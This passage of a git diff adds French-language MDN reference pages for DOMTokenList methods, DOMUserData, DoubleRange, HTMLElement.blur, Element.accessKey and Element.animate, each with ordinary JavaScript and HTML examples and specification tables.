+<p>Dans l'exemple suivant, nous récupérons la liste des classes définies dans un élément {{htmlelement("span")}} en tant que <code>DOMTokenList</code> en utilisant {{domxref("Element.classList")}}. Nous remplaçons alors la marque dans la liste et écrivons la liste dans le {{domxref("Node.textContent")}} du <code>&lt;span&gt;</code>.</p>
+
+<p>D'abord, le HTML :</p>
+
+<pre class="brush: html">&lt;span class="a b c"&gt;&lt;/span&gt;</pre>
+
+<p>Maintenant le JavaScript :</p>
+
+<pre class="brush: js">var span = document.querySelector("span");
+var classes = span.classList;
+try {
+  classes.replace("c", "z");
+  span.textContent = classes;
+} catch(e) {
+  span.textContent = e;
+}
+</pre>
+
+<p>La sortie ressemble à ceci :</p>
+
+<p>{{ EmbedLiveSample('Examples', '100%', 60) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-domtokenlist-replace','replace()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{Compat("api.DOMTokenList.replace")}}</div>
+
+<div id="compat-desktop"> </div>
+
+<div id="compat-mobile"> </div>
diff --git a/files/fr/web/api/domtokenlist/supports/index.html b/files/fr/web/api/domtokenlist/supports/index.html
new file mode 100644
index 0000000000..b536c5f40c
--- /dev/null
+++ b/files/fr/web/api/domtokenlist/supports/index.html
@@ -0,0 +1,66 @@
+---
+title: DOMTokenList.supports()
+slug: Web/API/DOMTokenList/supports
+tags:
+  - API
+  - DOM
+  - Méthodes
+translation_of: Web/API/DOMTokenList/supports
+---
+<p>{{APIRef("DOM")}}{{SeeCompatTable}}</p>
+
+<p>La méthode <strong><code>supports()</code></strong> de l'interface {{domxref("DOMTokenList")}} renvoie <code>true</code> (<em>vrai</em>) si une marque (<em>token)</em> donnée se trouve parmi les marques prises en charge dans l'attribut associé. Cette méthode est destinée à la détection des fonctionnalités.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>boolean</em> = element.supports(<em>token</em>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><em><code>token</code></em></dt>
+ <dd>Une {{domxref("DOMString")}} (<em>chaîne de caractères</em>) contenant la marque à interroger.</dd>
+</dl>
+
+<h3 id="Renvoie">Renvoie</h3>
+
+<p>un {{jsxref("Boolean")}} (<em>booléen</em>) indiquant si la marque a été trouvée.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js"><code>var iframe = document.getElementById('display');
+if (iframe.sandbox.supports('an-upcoming-feature')) {
+  // code de support pour la future et mystérieuse fonctionnalité
+} else {
+  // code de secours
+}
+
+if (iframe.sandbox.supports('allow-scripts')) {
+  // instruction cadre de l'exécution de JavaScript
+   // NOTE: ceci fonctionne bien mais est juste un exemple!
+}</code></pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Credential Management')}}</td>
+   <td>{{Spec2('Credential Management')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{Compat("api.DOMTokenList.supports")}}</div>
+
+<div id="compat-desktop"> </div>
+
+<div id="compat-mobile"> </div>
diff --git a/files/fr/web/api/domtokenlist/toggle/index.html b/files/fr/web/api/domtokenlist/toggle/index.html
new file mode 100644
index 0000000000..5dcf5826cf
--- /dev/null
+++ b/files/fr/web/api/domtokenlist/toggle/index.html
@@ -0,0 +1,82 @@
+---
+title: DOMTokenList.toggle()
+slug: Web/API/DOMTokenList/toggle
+tags:
+  - API
+  - Basculement
+  - DOM
+  - Listes
+  - Méthodes
+translation_of: Web/API/DOMTokenList/toggle
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La méthode <code><strong>toggle()</strong></code> (<em>bascule</em>) de l'interface {{domxref("DOMTokenList")}} supprime une marque (<em>token)</em> donnée de la liste et renvoie <code>false</code> (<em>faux</em>). Si <em>token</em> n'existe pas, il est ajouté et la fonction renvoie <code>true</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">tokenList.toggle(token, force);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>token</dt>
+ <dd>Une {{domxref("DOMString")}} (<em>chaîne de caractères</em>) représentant la marque que l'on veut activer.</dd>
+ <dt>force {{optional_inline}}</dt>
+ <dd>Un {{domxref("Boolean")}} (<em>booléen</em>) qui, si inclus, transforme la bascule (toggle) en opération unique. Si elle est définie <code>false</code> (<em>faux</em>), la marque sera seulement supprimée et aucun ajout ne suivra. Si elle est définie <code>true</code> (<em>vrai</em>), la marque sera seulement ajoutée et pas supprimée après.</dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Un {{domxref("Boolean")}} (<em>booléen</em>) — <code>false</code> (<em>faux</em>) si la marque n'est pas dans la liste après l'appel ou <code>true</code> (<em>vrai</em>) si elle y est.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple suivant, nous récupérons la liste des classes définies dans un élément {{htmlelement("span")}} en tant que <code>DOMTokenList</code> en utilisant {{domxref("Element.classList")}}. Nous remplaçons alors une marque dans la liste et écrivons la liste dans le {{domxref("Node.textContent")}} du <code>&lt;span&gt;</code>.</p>
+
+<p>D'abord, le HTML :</p>
+
+<pre class="brush: html">&lt;span class="a b"&gt;classList is 'a b'&lt;/span&gt;</pre>
+
+<p>Maintenant le JavaScript :</p>
+
+<pre class="brush: js">var span = document.querySelector("span");
+var classes = span.classList;
+span.onclick = function() {
+  var result = classes.toggle("c");
+  if(result) {
+    span.textContent = "'c' added; classList is now '" + classes + "'.";
+  } else {
+    span.textContent = "'c' removed; classList is now '" + classes + "'.";
+  }
+}
+</pre>
+
+<p>La sortie ressemble à ceci :</p>
+
+<p>{{ EmbedLiveSample('Examples', '100%', 60) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-domtokenlist-toggle','toggle()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{Compat("api.DOMTokenList.toggle")}}</div>
+
+<div id="compat-desktop"> </div>
+
+<div id="compat-mobile"> </div>
diff --git a/files/fr/web/api/domtokenlist/value/index.html b/files/fr/web/api/domtokenlist/value/index.html
new file mode 100644
index 0000000000..179b6dc852
--- /dev/null
+++ b/files/fr/web/api/domtokenlist/value/index.html
@@ -0,0 +1,65 @@
+---
+title: DOMTokenList.value
+slug: Web/API/DOMTokenList/value
+tags:
+  - API
+  - DOM
+  - Méthodes
+  - Valeur
+translation_of: Web/API/DOMTokenList/value
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La propriété <code><strong>value</strong></code> (<em>valeur</em>) de l'interface {{domxref("DOMTokenList")}} renvoie la valeur de la liste en tant que {{domxref("DOMString")}} (chaîne de caractères), ou efface et définit la liste à la valeur donnée.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">tokenList.value;</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Une {{domxref("DOMString")}} (<em>chaîne de caractères</em>).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple suivant, nous récupérons la liste des classes définies sur un élément {{htmlelement("span")}} en tant que <code>DOMTokenList</code> en utilisant {{domxref("Element.classList")}}, puis écrivons alors la valeur de la liste dans le {{domxref("Node.textContent")}} du <code>&lt;span&gt;</code>.</p>
+
+<p>D'abord le HTML :</p>
+
+<pre class="brush: html">&lt;span class="a b c"&gt;&lt;/span&gt;</pre>
+
+<p>Maintenant le JavaScript :</p>
+
+<pre class="brush: js">var span = document.querySelector("span");
+var classes = span.classList;
+span.textContent = classes.value;
+</pre>
+
+<p>La sortie ressemble à ceci :</p>
+
+<p>{{ EmbedLiveSample('Examples', '100%', 60) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-domtokenlist-value','value')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{Compat("api.DOMTokenList.value")}}</div>
+
+<div id="compat-desktop"> </div>
+
+<div id="compat-mobile"> </div>
diff --git a/files/fr/web/api/domtokenlist/values/index.html b/files/fr/web/api/domtokenlist/values/index.html
new file mode 100644
index 0000000000..2abea40a04
--- /dev/null
+++ b/files/fr/web/api/domtokenlist/values/index.html
@@ -0,0 +1,74 @@
+---
+title: DOMTokenList.values()
+slug: Web/API/DOMTokenList/values
+tags:
+  - API
+  - DOM
+  - Itérateurs
+  - Listes
+  - Méthodes
+  - Valeurs
+translation_of: Web/API/DOMTokenList/values
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La méthode <code><strong>values()</strong></code> (<em>valeurs</em>) de l'interface {{domxref("DOMTokenList")}} renvoie un {{jsxref("Les_protocoles_iteration",'itérateur')}} permettant aux développeurs de passer en revue toutes les valeurs contenues dans la <code>DOMTokenList</code>. Individuellement, les valeurs sont des objets {{domxref("DOMString")}} (<em>chaînes de caractères</em>).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">tokenList.values();</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Aucun.</p>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Renvoie un {{jsxref("Les_protocoles_iteration","itérateur")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple suivant, nous récupérons la liste des classes définies dans un élément {{htmlelement("span")}} en tant que <code>DOMTokenList</code> en utilisant {{domxref("Element.classList")}}. Si nous récupérons un itérateur contenant les valeurs en utilisant <code>values()</code>, nous les itérons alors en utilisant une boucle <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for ... of</a> et écrivons chacune dans le {{domxref("Node.textContent")}} du <code>&lt;span&gt;</code>.</p>
+
+<p>D'abord, le HTML :</p>
+
+<pre class="brush: html">&lt;span class="a b c"&gt;&lt;/span&gt;</pre>
+
+<p>Maintenant le JavaScript :</p>
+
+<pre class="brush: js">var span = document.querySelector("span");
+var classes = span.classList;
+var iterator = classes.values();
+
+for(var value of iterator) {
+  span.textContent += value + ' ++ ';
+}</pre>
+
+<p>La sortie ressemble à ceci :</p>
+
+<p>{{ EmbedLiveSample('Examples', '100%', 60) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#interface-domtokenList','values() (as iterable&lt;Node&gt;)')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{Compat("api.DOMTokenList.values")}}</div>
+
+<div id="compat-desktop"> </div>
+
+<div id="compat-mobile"> </div>
diff --git a/files/fr/web/api/domuserdata/index.html b/files/fr/web/api/domuserdata/index.html
new file mode 100644
index 0000000000..6a78b4cd94
--- /dev/null
+++ b/files/fr/web/api/domuserdata/index.html
@@ -0,0 +1,44 @@
+---
+title: DOMUserData
+slug: Web/API/DOMUserData
+tags:
+  - API
+  - DOM
+  - Données utilisateur
+  - Interface
+translation_of: Web/API/DOMUserData
+---
+<p>{{ ApiRef("DOM") }}{{Obsolete_header}}</p>
+
+<p><code>DOMUserData</code> (<em>données utilisateur</em>) fait référence à une donnée d'application. En JavaScript, elle correspond directement à l'<code><a href="/en/JavaScript/Reference/Global_Objects/Object" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Object">Object</a></code>. Elle est renvoyée ou utilisée comme argument par <code><a class="internal" href="/En/DOM/Node.setUserData" title="En/DOM/Node.setUserData">Node.setUserData</a>()</code>, <code><a class="internal" href="/En/DOM/Node.getUserData" title="En/DOM/Node.getUserData">Node.getUserData</a>()</code>, comme troisième argument de <code>handle()</code> pour <a class="internal" href="/En/DOM/UserDataHandler" title="En/DOM/UserDataHandler"><code>UserDataHandler</code></a> et par diverses méthodes de <a class="internal" href="/En/DOM/DOMConfiguration" title="En/DOM/DOMConfiguration"><code>DOMConfiguration</code></a>.</p>
+
+<p>Notez que bien qu'il puisse s'agir d'un objet, dans Mozilla, elle peut être renvoyée comme chaîne de caractères ou un autre type, si elle a été définie ainsi (par exemple, <code><a href="/En/DOM/Node.setUserData" title="En/DOM/Node.setUserData">Node.setUserData</a>()</code> et <code><a href="/En/DOM/Node.getUserData" title="En/DOM/Node.getUserData">Node.getUserData</a>()</code>).</p>
+
+<p><code>DOMUserData</code> n'est pas persistante ni sérialisée et ne peut être présente après un redémarrage de l'application ou un plantage. Si vous êtes intéressé par la persistance des données, vous devriez plutôt utiliser {{interface("nsISessionStore")}}.</p>
+
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM3 Core", "core.html#DOMUserData", "DOMUserData")}}</td>
+   <td>{{Spec2("DOM3 Core")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Autres API obsolètes pour userData : <a href="/En/DOM/UserDataHandler" title="En/DOM/UserDataHandler"><code>UserDataHandler</code></a>, <a href="/En/DOM/Node.getUserData" title="En/DOM/Node.getUserData"><code>node.getUserData</code></a>, <a href="/En/DOM/Node.setUserData" title="En/DOM/Node.setUserData"><code>node.setUserData</code></a></li>
+ <li><a href="https://developer.mozilla.org/fr/Apprendre/HTML/Comment/Utiliser_attributs_donnes">Utiliser les attributs de données</a>  est l'alternative moderne (voir attributs {{htmlattrxref("data-*")}}, {{domxref("HTMLElement.dataset")}})</li>
+ <li>{{ interface("nsISessionStore") }}</li>
+</ul>
diff --git a/files/fr/web/api/doublerange/index.html b/files/fr/web/api/doublerange/index.html
new file mode 100644
index 0000000000..1315c02d39
--- /dev/null
+++ b/files/fr/web/api/doublerange/index.html
@@ -0,0 +1,66 @@
+---
+title: DoubleRange
+slug: Web/API/DoubleRange
+tags:
+  - API
+  - API Media Streams
+  - API de capture multimédia et de flux
+  - Contraintes
+  - Dictionnaire
+  - DoubleRange
+  - Interface
+  - Media
+  - Reference
+  - WebRTC
+translation_of: Web/API/DoubleRange
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p>Le dictionnaire <strong><code>DoubleRange</code></strong> est utilisé pour définir une plage de valeurs à virgule flottante double précision autorisées pour une propriété, avec l'une ou les deux valeurs maximale et minimale spécifiées. Le dictionnaire {{domxref("ConstrainDouble")}} est basé sur cela, en l'augmentant pour prendre également en charge les valeurs exactes et idéales.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>max</code></dt>
+ <dd>Une valeur à virgule flottante spécifiant la plus grande valeur autorisée de la propriété qu'elle décrit.</dd>
+ <dt><code>min</code></dt>
+ <dd>Une valeur à virgule flottante spécifiant la plus petit valeur autorisée de la propriété qu'elle décrit.</dd>
+</dl>
+
+<p>Les valeurs <code>min</code> et/ou <code>max</code> spécifiées sont obligatoires. Si aucune correspondance ne peut être trouvée dans la plage donnée, une erreur se produit.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture', '#dom-doublerange', 'DoubleRange')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez nous une une pull request.</div>
+
+<p>{{Compat("api.DoubleRange")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Media_Streams_API">API de capture multimédia et de flux</a></li>
+ <li><a href="/en-US/docs/Web/API/Media_Streams_API/Constraints">Capacités, contraintes et paramètres</a></li>
+ <li>{{domxref("ConstrainDoubleRange")}}</li>
+ <li>{{domxref("MediaTrackConstraints")}}</li>
+ <li>{{domxref("MediaTrackCapabilities")}}</li>
+ <li>{{domxref("MediaTrackSupportedConstraints")}}</li>
+</ul>
diff --git a/files/fr/web/api/element.blur/index.html b/files/fr/web/api/element.blur/index.html
new file mode 100644
index 0000000000..6c5f12166c
--- /dev/null
+++ b/files/fr/web/api/element.blur/index.html
@@ -0,0 +1,88 @@
+---
+title: HTMLElement.blur()
+slug: Web/API/Element.blur
+tags:
+  - API
+  - DOM
+  - HTMLElement
+  - Method
+  - Reference
+translation_of: Web/API/HTMLOrForeignElement/blur
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<p>La méthode <code><strong>HTMLElement.blur()</strong></code> retire le focus de l'élément courant.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>elt</em>.blur()</pre>
+
+<h2 id="Specification" name="Specification">Exemples</h2>
+
+<h3 id="Remove_focus_from_a_text_area" name="Remove_focus_from_a_text_area">Retirer le focus d'un champ texte</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>myText<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"Champ texte</span><span class="punctuation token">."</span></span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>button</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button<span class="punctuation token">"</span></span> <span class="attr-name token">onclick</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>focusMethod()<span class="punctuation token">"</span></span><span class="punctuation token">&gt;Cliquez-moi pour donner le focus</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>button</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>button</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button<span class="punctuation token">"</span></span> <span class="attr-name token">onclick</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>blurMethod()<span class="punctuation token">"</span></span><span class="punctuation token">&gt;Cliquez-moi pour retirer le focus</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>button</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">focusMethod <span class="operator token">=</span> <span class="keyword token">function</span> <span class="function token">getFocus</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"myText"</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">focus</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+blurMethod <span class="operator token">=</span> <span class="keyword token">function</span> <span class="function token">getBlur</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"myText"</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">blur</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{ EmbedLiveSample('Remove_focus_from_a_text_area') }}</p>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'editing.html#dom-blur', 'blur')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'editing.html#blur()-0', 'blur')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'editing.html#dom-blur', 'blur')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-28216144', 'blur')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité navigateur</h2>
+
+
+<p>{{Compat("api.HTMLElement.blur")}}</p>
+<p>Dans IE9-10, il y a un bug où appeler <code>blur()</code> sur le {{HTMLElement("body")}} change la fenêtre active du navigateur vers une autre application.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p>La méthode DOM {{domxref("HTMLElement.focus()")}}</p>
diff --git a/files/fr/web/api/element/accesskey/index.html b/files/fr/web/api/element/accesskey/index.html
new file mode 100644
index 0000000000..35a7d777cb
--- /dev/null
+++ b/files/fr/web/api/element/accesskey/index.html
@@ -0,0 +1,21 @@
+---
+title: Element.accessKey
+slug: Web/API/Element/accessKey
+tags:
+  - API
+  - DOM
+  - Element
+  - Propriété
+  - Raccourcis clavier
+  - Reference
+translation_of: Web/API/HTMLElement/accessKey
+---
+<div>{{APIRef("DOM")}}</div>
+
+<div> </div>
+
+<p>La propriété <font face="Consolas, Monaco, Andale Mono, monospace"><strong>Element.accessKey</strong></font> définit la touche sur laquelle l'utilisateur doit appuyer pour accéder à l'élément.</p>
+
+<div class="note">
+<p><strong>Note :</strong> La propriété <code>Element.accessKey</code><strong> </strong>est rarement utilisée en raison de ses multiples conflits avec des raccourcis clavier déjà présents dans les navigateurs. Pour contourner ce problème, les navigateurs appliquent le comportement attendu de "accesskey" lorsqu'une autre touche est pressée simultanément (comme <kbd>Alt</kbd> + accesskey).</p>
+</div>
diff --git a/files/fr/web/api/element/animate/index.html b/files/fr/web/api/element/animate/index.html
new file mode 100644
index 0000000000..5d547f1e5e
--- /dev/null
+++ b/files/fr/web/api/element/animate/index.html
@@ -0,0 +1,205 @@
+---
+title: Element.animate()
+slug: Web/API/Element/animate
+tags:
+  - API
+translation_of: Web/API/Element/animate
+---
+<p>{{APIRef('Web Animations')}} {{SeeCompatTable}}</p>
+
+<p>La méthode <strong><code>Element.animate()</code></strong> est un raccourci permettant de créer et jouer une animation sur un élément. Elle retourne l'instance de type {{domxref("Animation")}} alors créée.</p>
+
+<div class="note">
+<p>Les éléments peuvent avoir plusieurs animations. Vous pouvez obtenir une liste des animations qui affectent un élément en appelant {{domxref("Element.getAnimations()")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<div class="syntaxbox">
+<pre class="brush: js"><var>element</var>.animate(<var>keyframes</var>, <var>options</var>); </pre>
+</div>
+
+<h3 id="Paramèters">Paramèters</h3>
+
+<dl>
+ <dt><code>keyframes</code></dt>
+ <dd>
+ <p>Un <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Animations_API/Keyframe_Formats">objet formatté représentant un ensemble de keyframes</a>.</p>
+ </dd>
+ <dt><code>options</code></dt>
+ <dd>Un nombre entier (<em>Integer</em>) <strong>représentant la durée de l'animation</strong> (en millisecondes), ou un objet (<em>Object</em>) <strong>contenant une ou plusieurs propriétés de timing</strong>: </dd>
+ <dd>
+ <dl>
+  <dt><code>id {{optional_inline}}</code></dt>
+  <dd>Une propriété unique pour <code>animate()</code>: une <a href="https://developer.mozilla.org/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a> qui permet de référencer l'animation.</dd>
+ </dl>
+ {{Page("/en-US/docs/Web/API/Web_Animations_API/Animation_timing_properties", "Properties")}}</dd>
+</dl>
+
+<h4 id="Options_à_venir">Options à venir</h4>
+
+<p>Les options suivantes n'ont pas encore été implémentées, mais seront ajoutées dans un futur proche.</p>
+
+<dl>
+ <dt><code>composite {{optional_inline}}</code></dt>
+ <dd>Détermine comment sont combinées les valeurs de cette animation avec d'autres animations qui ne spécifient pas leur propre opération composite. La valeur par défaut est <code>replace</code>.
+ <ul>
+  <li><code>add</code> induit un effet d'ajout, dans lequel chaque itération successive se construit sur la précédente. Par exemple pour <code>transform</code>, une valeur <code>translateX(-200px)</code> n'annulerait pas une précédente valeur <code>rotate(20deg)</code> mais s'y ajouterait, pour donner <code>translateX(-200px) rotate(20deg)</code>.</li>
+  <li><code>accumulate</code> est similaire mais un peu plus intéressant: <code>blur(2)</code> et <code>blur(5)</code> deviennent <code>blur(7) et non</code> <code>blur(2) blur(5)</code>.</li>
+  <li><code>replace</code>, quand à elle, remplace la précédente valeur par la nouvelle. </li>
+ </ul>
+ </dd>
+ <dt><code>iterationComposite {{optional_inline}}</code></dt>
+ <dd>Détermine comment les valeurs se construisent, d'itération en itération, <strong>dans une même animation</strong>. Peut être définie par <code>accumulate</code> ou <code>replace</code> (voir ci-dessus). La valeur par défaut est <code>replace</code>.</dd>
+ <dt><code>spacing {{optional_inline}}</code></dt>
+ <dd>Détermine comment les keyframes sans offset temporel devraient être réparties sur la durée de l'animation. La valeur par défaut est <code>distribute</code>.
+ <ul>
+  <li><code>distribute</code> positionne les keyframes de façon à ce que les différences entre deux offsets de keyframes successifs soient égaux, c'est-à-dire que, sans aucun offset, les keyframes seront distribuées régulièrement / également sur toute la durée de l'animation.</li>
+  <li><code>paced</code> positionne les keyframes de façon à ce que les distances entre deux valeurs successives d'une propriété spécifiée par "paced" soient égales, c'est-à-dire que plus la différence entre les valeurs de ces propriétés successives est grande, plus les keyframes seront éloignées les unes des autres.</li>
+ </ul>
+
+ <p><img alt="" src="https://w3c.github.io/web-animations/img/spacing-distribute.svg" style="height: 210px; width: 200px;"> <img alt=" " src="https://w3c.github.io/web-animations/img/spacing-paced.svg" style="height: 210px; width: 200px;"></p>
+ </dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Retourne un objet de type {{domxref("Animation")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans la démo <a href="https://codepen.io/rachelnabors/pen/rxpmJL/?editors=0010">Down the Rabbit Hole (with the Web Animation API)</a>, la méthode <code>animate()</code> est utilisée pour immédiatement créer et jouer une animation sur l'élément <code>#tunnel,</code> pour le faire défiler vers le haut, indéfiniment. Remarquez le tableau d'objets définissant les keyframes et le bloc contenant les options de timing de l'animation.</p>
+
+<pre class="brush: js">document.getElementById("tunnel").animate([
+  // keyframes
+  { transform: 'translateY(0px)' },
+  { transform: 'translateY(-300px)' }
+], {
+  // timing options
+  duration: 1000,
+  iterations: Infinity
+});
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Animations', '#the-animatable-interface', 'animate()' )}}</td>
+   <td>{{Spec2('Web Animations')}}</td>
